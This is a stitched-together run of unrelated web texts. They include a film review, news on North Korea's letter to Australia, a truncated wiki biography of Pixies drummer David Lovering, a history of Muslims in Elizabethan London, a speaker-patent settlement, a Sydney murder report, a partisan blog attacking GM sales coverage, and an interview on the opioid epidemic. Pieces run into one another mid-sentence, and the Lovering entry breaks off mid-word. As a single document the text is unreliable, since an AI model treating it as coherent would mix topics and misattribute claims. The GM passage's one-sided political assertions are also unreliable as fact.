What’s more is how the film acknowledges and then deploys the meta-ness of its concept. Without giving too much away, we begin to see a film-within-a-film based on a book-within-a-film starring actors playing actors. If that makes absolutely no sense right now, don’t worry — just watch the movie and it’ll flow, beautifully and brilliantly.
As far as satire goes, Look Who’s Back the film at least matches, if not exceeds, its source novel. It’s one of those rare adaptations that takes full advantage of the film medium in order to add extra richness to the source story across multiple dimensions. In a renewed time of fear-mongering and vitriol, this movie is not just relevant, but necessary.
Look Who’s Back (German: Er ist wieder da)— Germany. Dialog in German. Directed by David Wnendt. First released October 2015. Running time 1hr 56min. Starring Oliver Masucci, Fabian Busch, and Katja Riemann.
Are you a Netflix subscriber? You can watch this movie by clicking here. Like the story? Support the author and help us pay our bills by buying the Look Who’s Back novel using our Amazon referral link. Thanks for your support!Given Kim Jung Un's nuclear testing, is war with North Korea the only option for Donald Trump, the US and its allies?
Is war the only option we have with North Korea? 1:16
NORTH Korea has sent a “desperate” letter to the Australian Government, imploring it to turn against US President Donald Trump.
The rambling open letter, which has been published by Fairfax, came from the Democratic People’s Republic of Korea (DPRK) Foreign Affairs Committee via the country’s Jakarta embassy.
“The Foreign Affairs Committee … bitterly condemns the reckless remarks of Trump as an intolerable insult to the Korean people, a declaration of war against the DPRK and a grave threat to the global peace,” the letter reads.
“From the first day of his office, Trump has engaged himself in highhanded and arbitrary practice, scrapping international laws and agreements incurring his displeasure on the ‘US-first principle’, the height of American way of thinking that is best if the US is well-off at the expense of the whole world.
“If Trump thinks that he would bring the DPRK, a nuclear power, to its knees through nuclear war threat, it will be a big miscalculation and an expression of ignorance.”
North Korea letter by FairfaxPolitics on Scribd
The screed appears to be a heavy-handed plea to various parliaments to pull out of the harsh United Nations Security Council sanctions levelled against North Korea over its weapons program.
The sanctions have struck a significant blow to the nation’s economy, with one former high-ranking North Korea official saying this week that the country “will not survive a year” under them.
“The US brought to their knees those countries devoid of principle, narrow-minded and selfish countries seeking after their interests with its nuclear stick and force and then cooked up the illegal ‘sanctions resolution against the DPRK to deny the elementary right to existence of the Korea people and check their normal economic development in breach of the inviolable UN charter by abusing the UN Security Council,” the letter reads.
The missive concludes by calling for “international justice” and “sharp vigilance against the heinous and reckless moves of the Trump administration trying to drive the world into a horrible nuclear disaster”.
Foreign Minister Julie Bishop told Fairfax it was clear North Korea are feeling desperate, isolated and trying to demonise the US as well as divide the international community.
Speaking on Sky News this morning, Ms Bishop said the letter was “unprecedented”.
Pyongyang typically communicates its messages and propaganda through its state-run Korean Central News Agency (KCNA).
“This is an unprecedented step for North Korea to send a letter directly to another government in this way,” she said.
“It’s not the way the usually publish their global messages.”
Ms Bishop said she saw the letter as a positive move and as evidence that the collective strategy of imposing maximum diplomatic and economic pressure through sanctions was working.
“This is a response to the pressure that Australia, the United States, China, Japan, South Korea and others are putting on North Korea so that it will refrain from its current conduct of provocative and threatening behaviour and will be compelled back to the negotiating table.
“I see it as a positive sign.”
The letter begins with the North Korean embassy offering its “compliments to the parliament of the Commonwealth of Australia”, which is a bit rich given that the rogue nation has made repeated military threats towards us for supporting America.
On Saturday, Pyongyang, via KCNA, again called out Australia for its outspokenness in calling for an end to its nuclear weapons program, warning it if it continues Australia “will not be able to avoid a disaster”.
At the time Ms Bishop, who was in South Korea with Defence Minister Marise Payne for talks with their South Korean counterparts, hit back and said Australia was not a “primary target”.
“North Korea’s threats only strengthen our resolve to find a peaceful solution to the rising tensions on the Korean Peninsula caused entirely by North Korea’s illegal, threatening and provocative behaviour,” Ms Bishop told reporters in Sydney on Sunday.
‘POSITIVE STEP’
Prime Minister Malcolm Turnbull told 3AW’s Neil Mitchell the letter proved international sanctions against the regime were biting hard.
Mr Turnbull said the letter didn’t say anything about Australia and instead ranted about how bad Donald Trump is.
“They’ve sent this letter to a lot of other countries.,” Mr Turnbull said.
The Prime Minister was asked if the letter was significant and what it showed.
“It’s consistent with their rant and complaints about Donald Trump, but the fact is North Korea is the one in breach of UN security council resolutions,” he said.
“It’s North Korea that's threatened the stability of the world and that’s the regime that has to return to its senses.”
Mr Turnbull also praised North Korea’s main ally, China, for taking tough action against Pyongyang.
“They are working, they are starting to feel the squeeze because China to its credit is part of these global sanctions which include restricting oil exports.
“The tighter economic sanctions are applied the greater the prospect we have of resolving this without a conflict.”
Professor of International Security and Intelligence Studies Professor John Blaxland told news.com.au said the letter indicated two things.
“First it seems to demonstrate North Korean unease about the extent of the UN sanctions and their expected impact, not just on the weapons program but on North Korean society, particularly as it heads into a long, cold and dark winter,” he said.
Prof Blaxland said capped oil imports and other embargoes would make governing North Korea even more difficult.
“Second, there is a sense that Kim Jong-un may be playing on the growing unease at Trump’s extreme and bellicose language and KJU (Kim Jong-un) may be onto something here.
“North Korean officials would be aware that Australians are increasingly ill at ease with apparently fawning expressions of support for Trump’s emotive rants against KJU.”
“It stands to reason that a public but official appeal by the DPRK to Australian and other international common sense may have the desired effect — that is, to reduce international resolve to maintain sanctions and to undermine their willingness to continue backing Trump’s actions to the hilt, particularly should it escalate into open conflict.”
‘STRATEGIC LETTER’
Dr Peter Layton, a visiting fellow at the Griffith Asia Institute at Griffith University, said the letter was interesting.
Dr Layton said the DPRK talk of an open letter sent to foreign parliaments — not governments — on 24 September and datewise this letter seems part of that.
“Although ours appears to have been tailored for us as the DPRK news includes parts ours doesn’t have,” he said.
Dr Layton said he saw the letter as a tactical move consistent with the overall DPRK strategy.
“The letter logically argues its position and leaves aside much of the rhetoric normally associated with the DPRK,” he said.
“The letter does not ask our parliament to actually do anything suggesting it aims principally to set out the DPRK position. It is a diplomatic move but not directly aiming to restart negotiations.”
Dr Layton said it would appeal to those worried about Donald Trump and the US more broadly and played upon the old logic trick of: ‘if you are opposed to Donald Trump you must therefore be friends with us’.
“The DPRK is seeking the moral high ground in deliberately contrasting itself with Donald Trump,” he said.
“The DPRK is playing for time to allow the completion of its long-ranged nuclear missile force as Kim-il Ju has stated. He will talk after he has a stronger hand not before. The letter is part of that strategy.”
He said he didn’t think the letter was desperate and didn’t necessarily reveal the current sanctions or actions are having a tangible impact.
“It’s a more a muddy-the-waters letter to support the DPRK strategy of playing for time until they are militarily ready,” he said.
TYPICAL KIM
Senior analyst in defence strategy and capability at the Australian Strategic Policy Institute, Dr Malcolm Davis said the letter was a typical North Korean tactic.
“They won’t get very far with this tactic, as Julie Bishop has made clear. I think North Korea is completely isolated at this stage in terms of culpability,” Dr Davis said.
“Certainly there are concerns about Trump’s language in his UNGA speech, and statements like ‘calm before the storm’ and ‘fire, fury and power’ don’t help.
“But no one at a high level or with any influence, holds the view that North Korea is not the instigator of this crisis. Its Pyongyang that is setting off nukes and firing missiles over Japan, and threatening an atmospheric nuclear test.”
Dr Davis said while the sanctions might not be hitting as hard yet, the North Koreans would soon feel the effects come winter.
“This letter suggests that the North Koreans don’t really understand how western policy works or how people in the west see this threat,” he said.
“The North Koreans are not seeing this crisis through the eyes of Western leaders — they remain isolated in their hermit kingdom, and think that somehow rhetoric and threats will make western states back down. Their miscalculation.”The company brought in electrical and mechanical engineers, as well as horticulturalists, to advise how to build laboratory-quality growing facilities that are also environmentally friendly. Their proposal aims for LEED certification, a measure of environmental impact. It will use solar energy and generate zero wastewater. All these efforts are geared toward mitigating the problems that often plague cannabis cultivation.
"Indoor growing is very challenging," Peterson said, citing mold and bugs as two of the largest issues that have to be addressed by any indoor grower. Pesticides or other products used to combat mold and bugs can be to harmful to medical marijuana users, and there is currently no regulatory body to monitor the presence of such contaminants. Peterson also pointed out that cancer patients often have weakened immune systems as a result of chemotherapy and other treatments, making them more susceptible to carcinogens like mold and pesticides. And safety isn't just an issue at the consumption end.
"Water, high energy, and plant material are just a perfect recipe for fires," Peterson said, which growers in California have known no shortage of in their attempt to meet the demand of medical dispensaries.
Security will be an issue for any pot factory; cannabis sells at about the same price per ounce as gold, making this facility something of a horticultural Fort Knox.
"We're in talks with serious security contractors -- ex-military, ex-Navy SEALs, people with extensive experience guarding high-value properties," he said. "We've got one shot. If something happens -- if there's a break-in, or a worker is hurt, or something happens to the plants -- then every naysayer is going to come out of the woodwork and say, 'I told you it couldn't be done.'"
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.David Lovering (born December 6, 1961) is an American musician and magician. He is best known as the drummer for the alternative rock band Pixies, which he joined in 1986. After the band's breakup in 1993, Lovering drummed with several other acts, including The Martinis, Cracker, Nitzer Ebb and Tanya Donelly. He also pursued a magic career as The Scientific Phenomenalist ; performing scientific and physics-based experiments on stage. When the Pixies reunited in 2004, Lovering returned as the band's drummer.
Youth and college Edit
David Lovering was born in Burlington, Massachusetts. He learned to play drums during his teenage years and joined his high school's marching band.[1] According to his friend John Murphy, Lovering was always very "drum oriented" in his musical taste.[2] In his high school yearbook entry, Lovering stated his three main ambitions: to be in a rock band, to be an electrical engineer, and to tour with Rush, his favorite band.[3] After graduating from high school, Lovering studied electronic engineering at the Wentworth Institute of Technology in Boston. He got a job at a Radio Shack store with Murphy,[2] and the pair often played practical jokes while at work. One such incident involved Lovering wiring the store toilet to a fire alarm.[4] After graduating from Wentworth with an associate degree in 1985, he took a job building lasers, and continued to drum in local bands such as Iz Wizard and Riff Raff.[1] A number of different genres of music have influenced him, including bands Steely Dan, Led Zeppelin, and Devo.[5]
Pixies Edit
On Memorial Day 1985, Lovering attended Murphy and Kim Deal's wedding service. In January 1986 Deal was hired to play bass in the newly formed Pixies, an alternative rock band formed by Charles "Black Francis" Thompson and Joey Santiago. Murphy suggested that Lovering audition for the band – who were still without a drummer. Lovering had stopped drumming by this point and was at first unimpressed by the trio's performance of the band's songs. However, after playing along he agreed to join.[2] Lovering and the band wrote and rehearsed material throughout 1985 and 1986 and performed at small venues in Boston. The band decided to record 18 songs for a demo tape in 1987. Lovering co-wrote one of the tape's songs, "Levitate Me" (his only major writing contribution to any Pixies song) and appeared on the cassette's front cover, jogging naked with his back turned to the camera.[6] "Levitate Me" later appeared on the band's first release Come on Pilgrim, which included seven other songs taken from the demo tape.
The Pixies entered the studio again in 1988 to record their second album Surfer Rosa. Lovering's contribution on songs such as "Bone Machine" – which begins with a 10-second drum solo – "Break My Body" and "River Euphrates" established his steady, accurate style.[7] Doolittle, the band's major label debut, followed in 1989. During the album's recording sessions, Thompson convinced Lovering to sing on "La La Love You", which had been written as a "dig at the very idea of a love song".[8] The album's producer Gil Norton later said that during the sessions Lovering "went from not wanting to sing a note to 'I can't get him away from the microphone'. He was such a showman".[9] In addition to drums and vocals, Lovering played bass guitar on the album's penultimate track, "Silver".
After the release of Doolittle, the relationship between the band members became strained because of constant touring and the pressure of releasing three albums in two years. After the final date of the Doolittle "Fuck or Fight" tour in November 1989, the band was too exhausted to attend their end-of-tour party the following night and shortly afterwards announced a hiatus.[10] After the band reconvened in mid-1990, Lovering moved to Los Angeles along with the rest of the band. The Pixies released two more albums, Bossanova (1990) and Trompe le Monde (1991). Lovering sang lead vocals on the "Velouria" B-side "Make Believe"; a song about his admitted "obsession" with US singer-songwriter Debbie Gibson.[11] The Pixies toured sporadically throughout 1991 and 1992. They eventually broke up in 1992, mostly due to tensions between Thompson and Deal, although it was not publicly announced until 1993.[12]
The Scientific Phenomenalist and other projects Edit
Following the Pixies' breakup, Lovering drummed with several artists, including Nitzer Ebb, but turned down an invitation to join the Foo Fighters.[13] Lovering then joined Santiago's band The Martinis, appearing on their song "Free" on the soundtrack of Empire Records. However, he soon left the band to become a touring drummer for Cracker.[14] Lovering moved from band to band, drumming with Tanya Donelly's group on 1997's Lovesongs for Underdogs and with Boston band Eeenie Meenie. After facing difficulty finding new work, Lovering gave up the drums and moved into a rented house that banned drumming.[13]
Towards the end of the 1990s, Lovering's friend Grant-Lee Phillips took him to a magic convention. Lovering was very impressed by some of the illusions, and later said "I had to learn how to do it".[4] Mutual friend Carl Grasso invited them to a show at the Magic Castle, a magic-oriented nightclub in Los Angeles.[4] There Lovering met Possum Dixon frontman Rob Zabrecky, and the pair soon became friends. Zabrecky convinced Lover |
which was regarded as a perpetual adversary of the "House of Islam".
But with Elizabeth's accession this situation began to change. In 1562 Elizabeth's merchants reached the Persian Shah Tahmasp's court where they learned about the theological distinctions between Sunni and Shi'a beliefs, and returned to London to present the queen with a young Muslim Tatar slave girl they named Aura Soltana.
She became the queen's "dear and well beloved" servant who wore dresses made of Granada silk and introduced Elizabeth to the fashion of wearing Spanish leather shoes.
Image copyright Alamy Image caption Painting showing the court of Shah Tahmasp receiving the Mughal emperor
Hundreds of others arrived from Islamic lands and although no known memoirs survive, glimpses of their Elizabethan lives can still be gleaned from London's parish registers. In 1586 Francis Drake returned to England from Colombia with a hundred Turks who had been captured by the Spanish in the Mediterranean and press-ganged into slavery in the Americas.
One of them, known only as Chinano, is the first known Muslim to convert to English Protestantism.
He was baptised at St Katharine's Church near the Tower of London, where he took the name William Hawkins, and insisted that "if there were not a God in England, there was none nowhere".
Perhaps he meant it and relished his new Anglican identity, or he knew what to say to his new English masters. Whatever the truth, like many of his fellow Turks he quickly disappeared into London's bustling life, taking with him his true religious beliefs.
How sincere Chinano's conversion was may never be known, but he was not alone, and others like him were clearly keen to make a living in diverse urban occupations.
They included weavers, tailors, brewers and metalsmiths. Other registers record Muslim women being baptised like Mary Fillis, a "blackamoor" daughter of a Moroccan basket-maker who after working in London as a seamstress for 13 years and "now taking some hold of faith in Jesus Christ was desirous to become a Christian".
Image copyright Alamy Image caption Elizabethan London - busy enough for foreigners to disappear into
She was baptised in Whitechapel in 1597 where she presumably lived out the rest of her life. The faith of others was less certain, like the unnamed Moroccan who was buried the same year "without any company of people and without ceremony", because church authorities "did not know whether he was a Christian or not".
Nor were such conversions one-way. Hundreds of Elizabethan men and women travelled into Muslim lands in search of their fortune, and many converted - some forcibly, but others willingly - to Islam. They included the Norfolk merchant Samson Rowlie, who had been captured by Turkish pirates off Algiers in 1577, where he was imprisoned, castrated and converted to Islam.
He took the name Hassan Aga and rose to become Chief Eunuch and Treasurer of Algiers as well as one of the most trusted advisers to its Ottoman governor. He never returned to England or the Christian fold.
Elizabeth's alliances with the Ottoman, Persian and Moroccan empires also brought more elite Muslims to London. Records show that Turkish diplomats were sent over in the 1580s, though no trace of them survives.
More details remain of Moroccan embassies from later that decade. In 1589 the Moroccan ambassador Ahmed Bilqasim entered London in state, surrounded by Barbary Company merchants, proposing an Anglo-Moroccan military initiative against "the common enemy the King of Spain".
Although the anti-Spanish proposal came to nothing, the Moroccan ambassador sailed in an English fleet later that year that attacked Lisbon with the support of the Moroccan ruler, Mulay Ahmed al-Mansur.
Just over 10 years later another Moroccan ambassador called Muhammad al-Annuri arrived in London, with a large retinue of merchants, translators, holy men and servants who stayed for six months living in a house on the Strand where Londoners watched them practising their religious faith.
Image copyright University of Birmingham Image caption Muhammad al-Annuri, the Morrocan ambassador to England, 1600
One reported that they "killed all their own meat within their house, as sheep, lambs, poultry" and "turned their faces eastward when they kill any thing; they use beads, and pray to Saints".
Al-Annuri had his portrait painted, met Elizabeth and her advisers twice and even proposed a joint Protestant-Islamic invasion of Spain and naval attack on her American colonies. The plan only seems to have foundered because Elizabeth feared upsetting the Ottomans, who were at the time al-Mansur's adversaries.
The alliance came to an abrupt end with Elizabeth's death and her successor James I's decision to make peace with Catholic Spain, but the presence of Muslims like al-Annuri, Ahmed Bilqasim and more modest individuals like Chinano and Mary Fillis remain a significant but neglected aspect of Elizabethan history.
It shows that Muslims have been a part of Britain and its history much longer than many people have ever imagined.
The Koran's long journey into British life
Image copyright AFP
1095-1291 - The Crusades result in crusaders bringing some Middle Eastern customs and Arabic words back to England.
1588 - Christopher Marlowe's play Tamburlaine the Great contains a scene in which the Koran is burned.
1636 - Oxford University employs a chair of Arabic, who advocates a rational, historical approach to the study of Islam.
1734 - The first full translation of the Koran into English is made.
1869 - Lord Stanley becomes the first Muslim convert in the House of Lords.
1935 - Words from the Koran are broadcast on British radio for the first time, in BBC programme The Sphinx.
1997 - MP Muhammad Sarwar becomes the first person to swear his Oath of Allegiance on the Koran in the House of Commons.
Read the full timeline on BBC iWonder.
Jerry Brotton is the author of This Orient Isle: Elizabethan England and the Islamic World
Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox
Picture credits:Sarah Tew/CNET
The legal spat between discount retailer Monoprice and audio system maker Klipsch ended almost as soon as it started.
In March, Klipsch accused Monoprice of patent infringement for selling a Monoprice-branded home theater speaker system that was virtually identical to top-rated system made by Klipsch subsidary Audio Products International, under its Energy brand. Friday morning, Klipsch lawyer, Dean E. McConnell, told CNET via email that the dispute had been resolved on Thursday.
"The litigation between Klipsch Group, Audio Products, and Monoprice has been amicably resolved," McConnell wrote. "The terms and conditions of the settlement are confidential and I have no further comment."
A Monoprice spokesman did not return a request for comment. We will update this story if we get a response.
Klipsch had sought in its suit to prevent Monoprice from selling the speakers. It also asked for triple damages from the company, an amount that it said would be determined at trial.
The dispute centered on Monoprice's 5.1 Hi-Fi Home Theater Satellite Speakers & Subwoofer system. The system, which sold for $249, was a near replica of Energy's $399 Take Classic 5.1 system, a setup that CNET's Matt Moskovciak described as "the best budget speaker system we've reviewed."
CNET's Geoffrey Morrison tested each speaker system and tore them apart, finding both almost identical as well, right down to the frequency response, the connectors, and even the screws. The manual for the Monoprice system includes a typo about "connecting your Energy subwoofer."
Monoprice CEO Ajay Kumar, interviewed in March before CNET became aware of the suit, said the company "never purposely" sells products that infringe on another company's patents. Monoprice subsequently declined to comment on the litigation.
Shortly after Klipsch sued, the speaker system became unobtainable from Monoprice's Web site. The company listed the speakers as on backorder, and the date for their "estimated arrival time" slipped into May. The speakers are still on the site, but the arrival date is now July 3.
And while the company has not responded to requests about the availability of the speakers, a Monoprice tech support associate told a customer in a recent email exchange that "this item has been discontinued."SYDNEY: The Indian woman IT professional, who was stabbed to death in a Sydney suburb, is believed to have seen her attacker approach and begged for mercy in her final moments, even as the police were investigating if the assault was related to the sex attacks here last year. Prabha Arun Kumar, 41, was stabbed to death in Parramatta Park in Westmead while she was on the phone with her husband in India on Saturday.Her husband Arun Kumar was on Monday interviewed by police over the content of that conversation.Prabha's flatmate in Australia has spoken to Arun since his arrival in the country, and told a local TV station what was said during the phone call."She saw he (attacker) was approaching her and then he passed her and then suddenly she shouted 'don't hurt me, I'll do whatever you want', and then she said in her native tongue that 'he stabbed me, he stabbed me'," she said."And then (her husband) could not hear anything." According to police, Prabha died after being slashed across the throat with a sharp-edged object.The friend, on the condition of anonymity, also urged the public to inform police for any clues.Police have launched a probe and were also investigating if a series of sex attacks in western Sydney last year could be linked to Prabha's death, reports said.Homicide Squad chief detective superintendent Michael Willing was quoted as saying that the police were talking to Arun about his final phone call to his wife to piece together her movements.Flowers laid in a Sydney park on March 9, 2015, on the spot where India woman was stabbed to death during a brutal attack. (AFP photo)He also confirmed other incidents in the area in recent months were being examined."I believe that over the preceding years there have been a number of incidents there (at the park)," Willing said."We would consider that as part of the investigation, and indeed you would expect us to look at anything that has occurred in that geographical area in the days and months leading up to this matter, and we will certainly do that," he said."What we're hoping to do is jog the memory of anyone who was in the area on Saturday night and we encourage them to come forward and speak to police," he added.Police has released CCTV images of Kumar leaving Parramatta Station just before her death.Texas A&M University At Galveston Ground-breaking For New $46 Million Academic Building Set For Thursday
GALVESTON, Texas -- Ground-breaking for a new academic building at Texas A&M University at Galveston that will serve as a “front door” to the campus will be held Thursday (Dec. 10), and university officials are confident the $46 million facility will enhance student learning and research.
It will be the first phase of a new academic complex for the campus and include a new visitor center, classrooms and laboratories, academic services areas and administrative offices.
“Texas A&M-Galveston is a unique institution in the A&M System and one of only six maritime academies in the U.S.,” said Chancellor John Sharp. “It is important to the state economy and the nation that the A&M System continues to invest in this campus and its mission of training the next generation of Sea Aggies.”
Texas A&M University President Michael K. Young also cited the progress being made at the Galveston campus.
“Like the flagship campus in College Station, Texas A&M’s branch campus in Galveston is experiencing tremendous growth and development,” said President Young. “This new building will further solidify Texas A&M at Galveston’s reputation as one of the premiere marine-oriented campuses in the nation.”
The new academic building, which will consist of four floors totaling 86,000 square feet, is expected to be completed in the summer of 2017.
“This building will provide critically needed, quality, state-of-the-art classrooms and laboratories as well as relocating student services from a warehouse to this new facility,” says Rear Admiral Robert Smith III USN (Ret.) of Texas A&M University at Galveston.
“This will be similar to what Rudder Tower is to the main campus in College Station,” says Donna Lang, vice president for academic operations. “It will be a showcase area for our entrance to campus and provide our students with state-of-the-art classrooms
Phase two of the academic complex will include additional lecture rooms and support services, and phase three will complete the project with the addition of a new library.
Serving as Texas A&M’s “Classroom by the Sea,” Texas A&M University at Galveston has a current enrollment of 2,350 and prepares students for marine-oriented careers. It is also home to the Texas A&M Maritime Academy, one of six maritime academies in the United States, and provides an opportunity for Sea Aggies to learn how to operate and maintain an ocean-going vessel.
“The Academic Building will be a great addition and will give us an impressive entrance to our campus,” adds Grant Shallenberger, associate vice president for administration and auxiliary services.
“It will be a gathering place for our students and a location where we can welcome visitors to our campus in a first-class manner. It will also serve as a nice recruiting tool for prospective students.”
For more information go to http://www.tamug.edu/adminaux/Phase1/Phase1.htmlUPDATE: Monday, October 12 at 12:32 p.m. EST
A new video has surfaced, confirming a portion of the original quote found below. “I’m gonna tell you right here and now this isn’t gonna last much longer.”
ORIGINAL REPORT: Monday, October 12 at 12:09 p.m. EST
Last night, in Nashville, Tennessee, Brand New performed their final show of 2015 alongside both Manchester Orchestra and Kevin Devine. Before playing “Play Crack The Sky,” frontman Jesse Lacey gave an intimate, heartfelt speech, in which he talked about an array of topics.
Watch: Brand New’s Jesse Lacey forgets lyrics mid-song, asks fan if they have them on their phone
According to a subreddit on r/brandnew, fans are reporting that Jesse spoke on what the future holds for Brand New. “This us [sic] the last show we'll play for a while. Things will be different the next time we play. I'll have a brand new daughter. The next time we play, we'll have a new record for you. But this won't last much longer. We can't do this forever.” Video of this quote has yet to surface. Therefore, we cannot confirm or deny its validity. Additionally, a representative for Brand New did not immediately respond to our request for comment.
Beforehand, however, he shed a few tears while talking about his fellow bandmates, Vincent Accardi, Brian Lane and Garrett Tierney. “Being in a room like this is really special. Personally, I don’t feel adequate, or worth it, playing on this stage. But, I know that Garrett and Vinnie and Brian are absolutely worth it.”
Feature: The 10 best Brand New songs
Following hugs from his bandmates, he continued, “Without the three of them, I never would’ve gotten to do any of this. And so thanks to them, for my life.”
Video of the latter quotes, along with further commentary from Lacey, can be seen below. We will update this story when additional clips become available.Forty years ago, Japan enjoyed a self-sufficient seafood industry. It produced around 7 million tonnes and consumed about 60 kilograms of seafood per capita annually, well above the world average of about 15 kilograms. Still, the Asian nation had enough fish to be a net exporter.
By the mid 1990s, the picture had radically changed. Japan was only 50% self-sufficient and needed new suppliers to satisfy the huge demand at home. There were several reasons behind the breakdown in Japanese fisheries, according to Bjørn Eirik Olsen, director at the Norwegian Institute of Food, Fisheries and Aquaculture Research (Nofima) and former fish attaché to the Norwegian ambassador in Japan.
The two most important reasons for the fall were that Japan was overfishing its stocks – partly because of its lack of a quota system – and because it had been thrown out of other countries’ fishing zones, said Olsen. There were also natural factors related to Japan’s complicated ocean system that ended up harming its fishing stocks.
PROJECT JAPAN
Japan seemed a natural market for Norwegian seafood. Thor Listau, Norwegian member of the parliamentary shipping and fisheries committee, first became inspired with the idea of selling Norwegian fish to the Japanese following a trade delegation visit to Japan in 1974. The trip was meant to widen the circle of friendship between the two nations.
Listau went back to Japan in 1985 towards the end of his term as Norwegian fisheries minister. He brought with him a seafood delegation of close to 20 people representing Norwegian seafood exporters, ministers and organizations. When he returned, he decided to establish a government initiative called Project Japan that would promote the Norwegian seafood industry there.
Their initial goal was to market all types of Norwegian fish, particularly capelin, and double exports to Japan in both volume and price. At the time, Norway exported around NOK 500 million in seafood products to Japan, representing 1% of Japan’s total imports and 7% of Norway’s seafood exports. By 1991, that amount had grown to NOK 1.8 billion.
“It’s not just due to Project Japan…but it opened doors,” said Olsen. “It made Norwegian exporters focus on Japan.”
The project ended up in having a profound effect on the culinary habits of Japanese who were unaccustomed to eating salmon raw. The preferred fish for sushi and sashimi were tuna and sea bream. Salmon was used for grilling and kirimi, a lightly salted and dried fish dish. The Japanese considered Pacific salmon dangerous to consume raw because these wild fish were exposed to parasites and considered too lean for sushi. Moreover, domestic tuna distributors were very protectionist.
“Everybody said ‘we do not eat raw salmon’,” said Olsen, who was also responsible for market research for Project Japan from 1986-1991. “We had to really fight to introduce salmon into the market…It took 15 years from when the first salmon went to Japan (in 1980) to the breakthrough for raw consumption in 1995.”
BEST NORWEGIAN INVENTION
Arne Hjeltnes, chief executive at digital advertising agency Creuna in Oslo, says getting the Japanese to put salmon on a lump of rice is perhaps one of Norway’s greatest export successes in the last twenty years, possibly even a better invention than the Norwegian cheese slicer. He has been working in the seafood industry for five years, three of which for the Norwegian Seafood Export Council in Hong Kong.
He said during his years working with seafood, people were always amazed when he told the story about Project Japan. So he decided after having met the original group from Project Japan at its 20-year anniversary celebration in 2010 to make a Norwegian documentary tracking the whole history. The television programme will be available in English to the Norwegian Seafood Export Council.
The Norwegian government, seafood industry and organizations spent a total NOK 30 million towards Project Japan. The funds were used for general campaigns targeting importers, distributors, supermarket chains, stores and restaurants, as well as individual campaigns.
“The aim (of Project Japan) was to get it in the best hotels and restaurants,” said Hjeltnes. “They knocked on doors and the (Norwegian) ambassador served salmon to all his guests.”
As a result, Norway ended up increasing its seafood exports to Japan by 250% during 1980-1994. Sales of Norwegian salmon to Japan went from next to nothing in 1980 – a mere 2 metric tonnes – to 28,000 metric tonnes of salmon and trout in 1995, 5,000-6,000 of which were for raw consumption.
The project partly owes its success to a number of economic factors that worked in Norway’s favour. The population of Japan increased from 93 million to 122 million from 1960-1995, real purchasing power doubled, and seafood consumption increased from 5 million to 9 million metric tonnes (from 53 to 73 kg per capita). At the same time, the Japanese fisheries industry decreased and seafood prices were rising.
“Every good project has a portion of luck,” said Olsen. “In regards to timing, we were lucky. The Japanese market was a good market for seafood.”
Project Japan not only blazed a trail for Atlantic salmon for raw consumption in Japan, it also opened doors for the salmon sushi markets in China, Hong Kong and Singapore. Last year, China imported more Norwegian salmon than Japan. Norway is the dominant exporter of salmon to China, 80-90% of which is eaten raw.
FACTS
A japanese food consisting of cooked vinegared rice (shari) combined with other ingredients (neta). Neta and forms of sushi presentation vary, but the ingredient which all sushi have in common is shari. The most common neta is seafood. Raw meat sliced and served by itselfis sashimi.The Jurassic Press was in full-throated ObamaChorus mode in reporting on General Motors (GM)’s allegedly strong June sales.
Very few failed to receive the sheet music.
General Motors June US Car Sales Rocket 16%
GM's June sales up 16%, show broad-based growth
GM June U.S. Sales Up 16%
Mentioned was that We the Taxpayers were conscripted to bailout GM to the tune of $50 billion.
General Motors' US sales up 16% in June
General Motors (GM) Shifts Gears on Strong US and China Sales
GM June Sales Up 16%
The Jurassic Press mentioned the bailout so as to allow President Barack Obama to continue to campaign for reelection on its titanically-failed “success."
GM speed(s) to strong June
GM (NYSE:GM) Announces Record Strong Sales
General Motors' US sales up 16 pct in June
Not mentioned was the auto bailout will lose us about $30 billion.
General Motors (NYSE:GM) Cheers to Reports US Sales Surges 16%
General Motors (NYSE:GM) Beats Analysts Sales Forecasts
GM Sees Highest Sales Since September
Almost all of this $30 billion Taxpayer loss was in fact a gi-normous payoff of the Obama-Democrat stalwart United Autoworkers Union.
GM Races Higher on Sales Report
GM Sales Rise 16%
GM June US Sales Rose 16%
While the Union was thoroughly bailed out, We the Taxpayers are still stuck holding 500+ million shares of GM stock. Which we need to sell at $53 per. Which debuted post-bankruptcy at $33 per. And which is currently trading at just over $20 per. Meaning we’ll lose about $15 billion. How’s that for “success?”
GM Calls June Highest Sales Month Since 2008
General Motors (GM) June Sales Highest Since September 2008
GM June 2012 Sales Climb 15.5 Percent to Highest Month Since September 2008
And in all this Hosanna-reporting, nowhere to be found is the inconvenient truth that these huge June sales were mostly fueled by...government purchases.
We now learn that government purchases of GM vehicles rose a whopping 79% in June.
Meaning Barack Obama is now campaigning on the “success” of - the government buying cars from...the government’s car company. With our money.
That’s like you setting up a lemonade stand for your kids. You buy them the lemons, sugar, cups and pitchers - and then buy most of the lemonade yourself.
Except you are President Obama. Your kids are the United Autoworkers Union. And the lemonade cost $50 billion.
At least you get to tax your neighbors for the $50 billion.
Again - in what Bizarro-world is this auto bailout the “success” the Jurassic Press incessantly reports it is?Doctor David Kessler, who ran the FDA from 1990 to 1997, doesn't hold back when talking about the explosion in opioid use in the last two decades.
"This has been one of the great mistakes of modern medicine," said Kessler, who went on to say opioid addiction in the U.S. amounts to an epidemic.
Dr. David Kessler CBS News
"FDA has responsibility, the pharmaceutical companies have responsibility, physicians have responsibility. We didn't see these drugs for what they truly are," Dr. Kessler said.
From 1999 to 2014, sales of opioids quadrupled in the U.S. -- and so did the number of opioid-related overdose deaths, reports CBS News' Jim Axelrod.
"There was a notion that pain was the fifth vital sign, you wanted to relieve pain, that that was essential. You dosed until the pain was alleviated," Kessler explained.
That, said Kessler, was a costly mistake. Seventy-eight people now die each day from overdosing on painkillers. But the CDC didn't issue prescription guidelines until this past March. They recommended doctors try over-the-counter pain medications before prescribing more limited quantities of opioids -- but did not mandate they do so.
But are the guidelines strong enough? "We'll see," said Kessler. "This is an American condition. This is an American disease."
In the 21 years since OxyContin first came on the market, it has generated more than $35 billion in sales.
"The inappropriate promotion of drugs contributed significantly to this epidemic," Kessler said. "Because drug companies took a small piece, a sliver of science and widely promoted it as not being addictive. That was false."
While pill mills are among the most visible signs of the epidemic, Kessler said two-thirds of painkiller prescriptions are written by well-intentioned physicians trying to do right by their patients.
Doctors losing licenses amid opioid epidemic
"Everybody has to do better. The CDC guidelines need to be implemented. Pharmaceutical companies need not over-promote. Doctors need to prescribe more wisely in a more limited way."
"But it's going to take a societal shift, it's bigger than any one of those steps, in order to change this epidemic."
